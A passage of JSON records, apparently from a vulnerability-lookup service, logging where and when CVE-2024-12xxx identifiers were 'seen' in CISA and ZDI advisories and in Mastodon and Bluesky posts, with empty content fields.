"eb5aa883-a7b8-4df2-8407-b7b1a1c261a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12677", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-354-03", "content": "", "creation_timestamp": "2024-12-19T11:00:00.000000Z"}, {"uuid": "53fd515a-d8fb-40bb-ab33-e197eaa63695", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12669", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1700/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "ad841ffd-5627-42ca-b3c6-43f018aa2cb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12831", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldp7lh547h2x", "content": "", "creation_timestamp": "2024-12-20T01:15:45.546953Z"}, {"uuid": "e71e567c-473c-41a9-b0c1-ee5379cafc21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12867", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113686784082839328", "content": "", "creation_timestamp": "2024-12-20T19:24:17.993764Z"}, {"uuid": "9b87dea9-52db-4b9b-a76e-4ec8ae4c1afb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12721", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldse6bwlvk2i", "content": "", "creation_timestamp": "2024-12-21T07:15:51.660620Z"}, {"uuid": "df77946d-8d83-4e6b-9aee-2223fdcb0e98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12884", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113691183339674194", "content": "", "creation_timestamp": "2024-12-21T14:03:05.340586Z"}, {"uuid": "9c2b313c-a79c-4e36-ad84-e9c9d20c592d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12372", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113674546679601749", "content": "", "creation_timestamp": "2024-12-18T15:32:10.244001Z"}, {"uuid": "ff5e158c-a7e6-4d88-ba8a-19f26683bead", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12695", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113676136226017385", "content": "", "creation_timestamp": "2024-12-18T22:16:24.870726Z"}, {"uuid": "831c734e-3d90-4dfc-985b-3df4d07fb6f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12560", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113678240214070048", "content": "", "creation_timestamp": "2024-12-19T07:11:28.889949Z"}, {"uuid": "f16a79ae-a8c8-47d6-bf52-a07b5f72d0a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12794", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoi4o4kkd2a", "content": "", "creation_timestamp": "2024-12-19T18:15:54.015275Z"}, {"uuid": "6f5232a1-01d1-4b83-aecc-71bf3c5c5f77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12175", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldos5tq4pt27", "content": "", "creation_timestamp": "2024-12-19T21:15:31.668522Z"}, {"uuid": "6625be47-180a-4a2f-949c-d212a2e56c16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldos66bptg2a", "content": "", "creation_timestamp": "2024-12-19T21:15:43.833590Z"}, {"uuid": "0d55457f-9a01-4924-aafe-23b2345949ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12832", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldp7ljzril27", "content": "", "creation_timestamp": "2024-12-20T01:15:48.522217Z"}, {"uuid": "ab7d9cc6-2de3-47f8-b8a1-78b3614b6251", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ldppoigjis23", "content": "", "creation_timestamp": "2024-12-20T06:03:47.409293Z"}, {"uuid": "6c541b5c-b9d9-442b-a534-9c26b19115ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3ldr5c2b5f425", "content": "", "creation_timestamp": "2024-12-20T19:40:01.806396Z"}, {"uuid": "7e1bd797-e6e5-4a9e-977a-ecd406ee2628", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3ldr5c2b5f425", "content": "", "creation_timestamp": "2024-12-20T19:40:01.847052Z"}, {"uuid": "7f922e4d-f5db-4a6e-9e2d-4487f6b31912", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12845", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113687311183167963", "content": "", "creation_timestamp": "2024-12-20T21:38:20.996882Z"}, {"uuid": "d7119ddb-0d06-4aac-92ec-f3cf17a181cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12588", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113689861796627690", "content": "", "creation_timestamp": "2024-12-21T08:27:00.584792Z"}, {"uuid": "d974aa92-5643-4955-a682-2598cf3105eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12884", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldt3mvoavs22", "content": "", "creation_timestamp": "2024-12-21T14:15:38.763852Z"}, {"uuid": "82bfd957-c0f8-45af-b132-20f4df617453", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12890", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113694955920429502", "content": "", "creation_timestamp": "2024-12-22T06:02:30.471093Z"}, {"uuid": "513ede96-593c-45ac-b856-76f129744a1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12892", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lduxxtvmzg2z", "content": "", "creation_timestamp": "2024-12-22T08:15:29.920199Z"}, {"uuid": "2c88c343-840c-4826-b428-ab01ff7a067d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12895", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113696867576122046", "content": "", "creation_timestamp": "2024-12-22T14:08:39.851284Z"}, {"uuid": "fbe6a2d9-638a-4e28-9011-1d9b09d7c1d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12024", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113667467477451646", "content": "", "creation_timestamp": "2024-12-17T09:31:50.027282Z"}, {"uuid": "454a9e0f-94c1-4087-b57e-b1f923beb1ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12127", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113667467493547882", "content": "", "creation_timestamp": "2024-12-17T09:31:50.350066Z"}, {"uuid": "78d064b6-8d4c-4a56-be6d-9aca3ee1ee5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12469", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113667467509014864", "content": "", "creation_timestamp": "2024-12-17T09:31:53.899317Z"}, {"uuid": "31621ab4-ae9b-4244-9048-9dac7c06982e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12024", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113667480582218226", "content": "", "creation_timestamp": "2024-12-17T09:35:09.989165Z"}, {"uuid": "f730f1d8-652c-4e5f-949c-e6b6780940f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12127", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113667480598232833", "content": "", "creation_timestamp": "2024-12-17T09:35:10.218174Z"}, {"uuid": "a85d006f-743d-4cac-bbcf-b96da7ae85a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12469", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113667480613404199", "content": "", "creation_timestamp": "2024-12-17T09:35:10.559622Z"}, {"uuid": "8e2196b7-95a4-44c5-b306-83b09d099ae4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12127", "type": "seen", "source": "https://social.circl.lu/users/vulnerability_lookup/statuses/113667616531322654", "content": "", "creation_timestamp": "2024-12-17T10:10:02.337689Z"}, {"uuid": "cb491ef1-b3e4-4420-9d6b-babaa2a7d06e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12024", "type": "seen", "source": "https://social.circl.lu/users/vulnerability_lookup/statuses/113667616543118902", "content": "", "creation_timestamp": "2024-12-17T10:10:06.992966Z"}, {"uuid": "a308e328-2f47-4061-9ab0-9e39bfd10dd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12469", "type": "seen", "source": "https://social.circl.lu/users/vulnerability_lookup/statuses/113667616547179569", "content": "", "creation_timestamp": "2024-12-17T10:10:08.535720Z"}, {"uuid": "79236380-3774-425b-aded-d91f522912b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12395", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113667894771605837", "content": "", "creation_timestamp": "2024-12-17T11:20:30.238424Z"}, {"uuid": "99599859-c74e-4b75-81e9-53837a26673f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12601", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113667894792440145", "content": "", "creation_timestamp": "2024-12-17T11:20:30.355111Z"}, {"uuid": "990acfe1-118a-4f91-91b8-43579018f6e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12178", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113668837686562894", "content": "", "creation_timestamp": "2024-12-17T15:20:17.779624Z"}, {"uuid": "20800715-8f77-4b46-a70e-e0858bc1e75d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12179", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113668837701255024", "content": "", "creation_timestamp": "2024-12-17T15:20:18.045942Z"}, {"uuid": "f6b4cc5e-9a37-4795-8bcf-d666da7ded79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12191", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113668896703171569", "content": "", "creation_timestamp": "2024-12-17T15:35:18.337434Z"}, {"uuid": "d5b378b6-4f5b-46bb-b853-b61105d273ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12192", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113668896719374803", "content": "", "creation_timestamp": "2024-12-17T15:35:18.609311Z"}, {"uuid": "fb251917-1cd0-40ca-b3fc-2e0decd48b72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12193", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113668896734528295", "content": "", "creation_timestamp": "2024-12-17T15:35:18.823703Z"}, {"uuid": "5538a963-7385-4de4-857c-d1231fd59128", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12371", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-352-03", "content": "", "creation_timestamp": "2024-12-17T11:00:00.000000Z"}, {"uuid": "ff2e443a-f6da-4846-96e9-b482afcf851f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12372", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-352-03", "content": "", "creation_timestamp": "2024-12-17T11:00:00.000000Z"}, {"uuid": "96f36009-4166-4bd4-813a-3fa49e033a83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12373", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-352-03", "content": "", "creation_timestamp": "2024-12-17T11:00:00.000000Z"}, {"uuid": "f873167d-55b2-4b1f-949a-c3e0e9d355a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12786", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680107726606149", "content": "", "creation_timestamp": "2024-12-19T15:06:24.911395Z"}, {"uuid": "988a2396-bd56-4481-8fd1-3cb4fd0f1cc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12790", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680563005258460", "content": "", "creation_timestamp": "2024-12-19T17:02:11.845086Z"}, {"uuid": "365201ae-3fd5-485f-8fb9-d1fa4311f90a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12672", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldos5vx2y323", "content": "", "creation_timestamp": "2024-12-19T21:15:34.085078Z"}, {"uuid": "2817df4e-9756-4bce-925e-627eacb7704f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldos5xymum2s", "content": "", "creation_timestamp": "2024-12-19T21:15:36.824310Z"}, {"uuid": "431fd1e7-7c48-41d4-8d38-ff2fa69bfe71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3ldqcxk45qx2d", "content": "", "creation_timestamp": "2024-12-20T11:48:52.851462Z"}, {"uuid": "eb24ef7f-6af3-4a90-8b13-3e8311f842bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12677", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113686169757160018", "content": "", "creation_timestamp": "2024-12-20T16:48:04.324701Z"}, {"uuid": "e51b1849-d5e3-48f6-858b-1ef65b4e8d71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3ldr5c2b5f425", "content": "", "creation_timestamp": "2024-12-20T19:40:01.889669Z"}, {"uuid": "e65e4bbf-6f9e-43f7-8bec-fbac6105594b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12846", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113689069906563464", "content": "", "creation_timestamp": "2024-12-21T05:05:36.846349Z"}, {"uuid": "c1553ed5-82b6-45bd-a40b-2091909e0a0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12331", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldntys2f3a2z", "content": "", "creation_timestamp": "2024-12-19T12:15:48.322348Z"}, {"uuid": "07edc493-f4a8-4b7d-a27d-3bcac352c328", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12786", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldo62mrkik2r", "content": "", "creation_timestamp": "2024-12-19T15:15:48.082591Z"}, {"uuid": "8bac96dd-a8eb-4731-934d-e122b05fcec9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldos634iqp2s", "content": "", "creation_timestamp": "2024-12-19T21:15:40.214860Z"}, {"uuid": "e1b443e1-452b-4b48-920f-e0bf4e1e5af4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12678", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113682658072893365", "content": "", "creation_timestamp": "2024-12-20T01:55:00.078606Z"}, {"uuid": "6621dbd8-83f5-4383-96e2-a59e5fc04b43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ldppoigjis23", "content": "", "creation_timestamp": "2024-12-20T06:03:47.455009Z"}, {"uuid": "a7f5f7bd-e981-4100-9787-0e03c52669ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12408", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldso7bgxby2i", "content": "", "creation_timestamp": "2024-12-21T10:15:21.767374Z"}, {"uuid": "7e0baf4f-1fdb-403f-8786-0c4552cc4df3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12539", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113670150654187068", "content": "", "creation_timestamp": "2024-12-17T20:54:12.157582Z"}, {"uuid": "97ca268d-94c4-41de-91c1-3ea444e4a4a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12539", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113670268893584009", "content": "", "creation_timestamp": "2024-12-17T21:24:16.244830Z"}, {"uuid": "eb43144b-135c-4ff2-be39-51b9b8b2ea8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12500", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113671516088438749", "content": "", "creation_timestamp": "2024-12-18T02:41:26.899461Z"}, {"uuid": "294cfe3a-68f7-4bbd-a00e-f237c165a0af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12513", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113671575110213975", "content": "", "creation_timestamp": "2024-12-18T02:56:27.703400Z"}, {"uuid": "9be438e5-4318-41c6-9188-3935cb01a1fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12025", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113671721678348988", "content": "", "creation_timestamp": "2024-12-18T03:33:44.018454Z"}, {"uuid": "e0ce83b0-47d4-40d8-9134-30dae1bf693c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12061", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113671721693474771", "content": "", "creation_timestamp": "2024-12-18T03:33:44.324415Z"}, {"uuid": "ec2ccbc1-cf4d-4a77-b326-da85692dd715", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12250", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113671721708328118", "content": "", "creation_timestamp": "2024-12-18T03:33:44.711214Z"}, {"uuid": "bdd9d757-6922-4d15-9e50-dfe6e5eae4b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12259", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113671780710103256", "content": "", "creation_timestamp": "2024-12-18T03:48:44.838321Z"}, {"uuid": "2f8df0b0-c314-458a-9453-393362cd1f0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12432", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113671780726183194", "content": "", "creation_timestamp": "2024-12-18T03:48:45.064357Z"}, {"uuid": "0ba2d0f6-63d3-4d09-84aa-9ad3a1656a4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12449", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113671780741097480", "content": "", "creation_timestamp": "2024-12-18T03:48:45.402974Z"}, {"uuid": "f7d39251-5e3a-4ced-bd8f-0d988a55296b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12596", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113671780756043850", "content": "", "creation_timestamp": "2024-12-18T03:48:45.697029Z"}, {"uuid": "af6e210b-fd96-4cac-b1a9-7ad2443c3598", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12698", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113672096276468558", "content": "", "creation_timestamp": "2024-12-18T05:09:00.077829Z"}, {"uuid": "7314f7b7-57a7-4c08-a2e3-47a3f1415625", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12287", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113672571961317340", "content": "", "creation_timestamp": "2024-12-18T07:09:58.403704Z"}, {"uuid": "e6d5f125-0b9f-4512-94ac-8098005c8c9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12340", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113673114767404104", "content": "", "creation_timestamp": "2024-12-18T09:28:00.916983Z"}, {"uuid": "29c95e7b-e03e-4aff-adf6-ae163c8df287", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12454", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113673114784020002", "content": "", "creation_timestamp": "2024-12-18T09:28:01.412281Z"}, {"uuid": "08ca4db5-8117-4f39-acdc-8c043cb99056", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12554", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113673114798725226", "content": "", "creation_timestamp": "2024-12-18T09:28:01.496856Z"}, {"uuid": "f689bec4-8e10-4f15-a288-f58988e39a68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12626", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldntyulzet22", "content": "", "creation_timestamp": "2024-12-19T12:15:50.859658Z"}, {"uuid": "d376c2c2-964c-422d-b168-42f2c30d11e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12111", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113681311720588385", "content": "", "creation_timestamp": "2024-12-19T20:12:36.350511Z"}, {"uuid": "4c73ac23-afcb-43c8-902a-8fe878192c33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12896", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113698994384863334", "content": "", "creation_timestamp": "2024-12-22T23:09:32.478941Z"}, {"uuid": "52f975d0-4b32-4804-877f-1fa9b681d638", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12896", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldwkayosbe2m", "content": "", "creation_timestamp": "2024-12-22T23:15:24.205667Z"}, {"uuid": "c07f9afa-bfdf-4eec-a2d2-4dbd1f5c5487", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": 